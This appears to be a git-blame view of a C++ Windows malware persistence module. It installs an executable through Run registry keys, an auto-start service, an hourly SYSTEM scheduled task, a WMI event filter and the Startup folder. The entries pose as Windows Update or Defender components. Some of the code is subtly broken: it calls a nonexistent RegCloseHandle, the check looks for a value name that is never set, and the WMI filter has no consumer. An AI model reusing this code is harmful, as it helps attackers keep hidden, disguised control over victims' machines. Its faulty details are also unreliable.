2026-04-14 12:17:24 +07:00
|
|
|
#include <windows.h>
|
|
|
|
|
#include <iostream>
|
|
|
|
|
#include <string>
|
|
|
|
|
#include <shlobj.h>
|
|
|
|
|
#include <fstream>
|
|
|
|
|
#include <vector>
|
|
|
|
|
|
|
|
|
|
// Registry persistence methods
|
|
|
|
|
bool install_registry_persistence(const std::wstring& executablePath) {
|
|
|
|
|
HKEY hKey;
|
|
|
|
|
LSTATUS status;
|
|
|
|
|
|
|
|
|
|
// Current user run key
|
|
|
|
|
status = RegOpenKeyEx(HKEY_CURRENT_USER,
|
|
|
|
|
L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
|
|
|
|
|
0, KEY_WRITE, &hKey);
|
|
|
|
|
|
|
|
|
|
if (status == ERROR_SUCCESS) {
|
2026-04-14 13:51:26 +07:00
|
|
|
status = RegSetValueEx(hKey, L"win-update-check", 0, REG_SZ,
|
2026-04-14 12:17:24 +07:00
|
|
|
(const BYTE*)executablePath.c_str(),
|
|
|
|
|
(executablePath.length() + 1) * sizeof(wchar_t));
|
|
|
|
|
RegCloseHandle(hKey);
|
|
|
|
|
|
|
|
|
|
if (status == ERROR_SUCCESS) {
|
|
|
|
|
return true;
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// Local machine run key (requires admin)
|
|
|
|
|
status = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
|
|
|
|
|
L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
|
|
|
|
|
0, KEY_WRITE, &hKey);
|
|
|
|
|
|
|
|
|
|
if (status == ERROR_SUCCESS) {
|
2026-04-14 13:51:26 +07:00
|
|
|
status = RegSetValueEx(hKey, L"win-update-check-service", 0, REG_SZ,
|
2026-04-14 12:17:24 +07:00
|
|
|
(const BYTE*)executablePath.c_str(),
|
|
|
|
|
(executablePath.length() + 1) * sizeof(wchar_t));
|
|
|
|
|
RegCloseHandle(hKey);
|
|
|
|
|
|
|
|
|
|
return status == ERROR_SUCCESS;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return false;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// Service persistence
|
|
|
|
|
bool install_service_persistence(const std::wstring& executablePath) {
|
|
|
|
|
SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
|
|
|
|
if (!hSCManager) return false;
|
|
|
|
|
|
|
|
|
|
SC_HANDLE hService = CreateService(
|
|
|
|
|
hSCManager,
|
2026-04-14 13:51:26 +07:00
|
|
|
L"win-update-check",
|
|
|
|
|
L"Windows Update Check Service",
|
2026-04-14 12:17:24 +07:00
|
|
|
SERVICE_ALL_ACCESS,
|
|
|
|
|
SERVICE_WIN32_OWN_PROCESS,
|
|
|
|
|
SERVICE_AUTO_START,
|
|
|
|
|
SERVICE_ERROR_NORMAL,
|
|
|
|
|
executablePath.c_str(),
|
|
|
|
|
NULL, NULL, NULL, NULL, NULL
|
|
|
|
|
);
|
|
|
|
|
|
|
|
|
|
if (!hService) {
|
|
|
|
|
CloseServiceHandle(hSCManager);
|
|
|
|
|
return false;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
CloseServiceHandle(hService);
|
|
|
|
|
CloseServiceHandle(hSCManager);
|
|
|
|
|
return true;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// Scheduled task persistence
|
|
|
|
|
bool install_scheduled_task(const std::wstring& executablePath) {
|
2026-04-14 13:51:26 +07:00
|
|
|
std::wstring command = L"schtasks /create /tn \"win-update-check-task\" /tr \"" +
|
2026-04-14 12:17:24 +07:00
|
|
|
executablePath + L"\" /sc hourly /ru SYSTEM";
|
|
|
|
|
|
|
|
|
|
int result = _wsystem(command.c_str());
|
|
|
|
|
return result == 0;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// WMI event subscription
|
|
|
|
|
bool install_wmi_persistence(const std::wstring& executablePath) {
|
|
|
|
|
std::wstring wmiCommand = L"wmic /namespace:\\\\root\\subscription PATH __EventFilter Create "
|
|
|
|
|
L"Name=\"WinDefendFilter\", EventNameSpace=\"root\\cimv2\", "
|
|
|
|
|
L"QueryLanguage=\"WQL\", Query=\"SELECT * FROM __InstanceModificationEvent "
|
|
|
|
|
L"WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND "
|
|
|
|
|
L"TargetInstance.Name='svchost.exe'\"";
|
|
|
|
|
|
|
|
|
|
return _wsystem(wmiCommand.c_str()) == 0;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// File system persistence (Startup folder)
|
|
|
|
|
bool install_startup_persistence(const std::wstring& executablePath) {
|
|
|
|
|
wchar_t startupPath[MAX_PATH];
|
|
|
|
|
if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_STARTUP, NULL, 0, startupPath))) {
|
|
|
|
|
std::wstring shortcutPath = std::wstring(startupPath) + L"\\WindowsDefender.lnk";
|
|
|
|
|
|
|
|
|
|
// Create shortcut (this would require COM integration for proper shortcut creation)
|
|
|
|
|
// For now, we'll copy the executable
|
|
|
|
|
std::wstring targetPath = std::wstring(startupPath) + L"\\WindowsDefenderUpdate.exe";
|
|
|
|
|
|
|
|
|
|
return CopyFile(executablePath.c_str(), targetPath.c_str(), FALSE);
|
|
|
|
|
}
|
|
|
|
|
return false;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// Main persistence installation function
|
|
|
|
|
bool install_persistence(const std::wstring& executablePath) {
|
|
|
|
|
bool success = false;
|
|
|
|
|
|
|
|
|
|
// Try multiple persistence methods
|
|
|
|
|
if (install_registry_persistence(executablePath)) {
|
|
|
|
|
success = true;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if (install_scheduled_task(executablePath)) {
|
|
|
|
|
success = true;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if (install_startup_persistence(executablePath)) {
|
|
|
|
|
success = true;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// Service persistence requires admin privileges
|
|
|
|
|
if (IsUserAnAdmin()) {
|
|
|
|
|
if (install_service_persistence(executablePath)) {
|
|
|
|
|
success = true;
|
|
|
|
|
}
|
|
|
|
|
if (install_wmi_persistence(executablePath)) {
|
|
|
|
|
success = true;
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return success;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// Check if already persistent
|
|
|
|
|
bool check_persistence(const std::wstring& executablePath) {
|
|
|
|
|
HKEY hKey;
|
|
|
|
|
|
|
|
|
|
// Check registry
|
|
|
|
|
if (RegOpenKeyEx(HKEY_CURRENT_USER,
|
|
|
|
|
L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
|
|
|
|
|
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
|
|
|
|
|
wchar_t buffer[MAX_PATH];
|
|
|
|
|
DWORD bufferSize = sizeof(buffer);
|
|
|
|
|
|
|
|
|
|
if (RegGetValue(hKey, NULL, L"WindowsDefenderUpdate", RRF_RT_REG_SZ,
|
|
|
|
|
NULL, buffer, &bufferSize) == ERROR_SUCCESS) {
|
|
|
|
|
RegCloseHandle(hKey);
|
|
|
|
|
return true;
|
|
|
|
|
}
|
|
|
|
|
RegCloseHandle(hKey);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return false;
|
|
|
|
|
}
|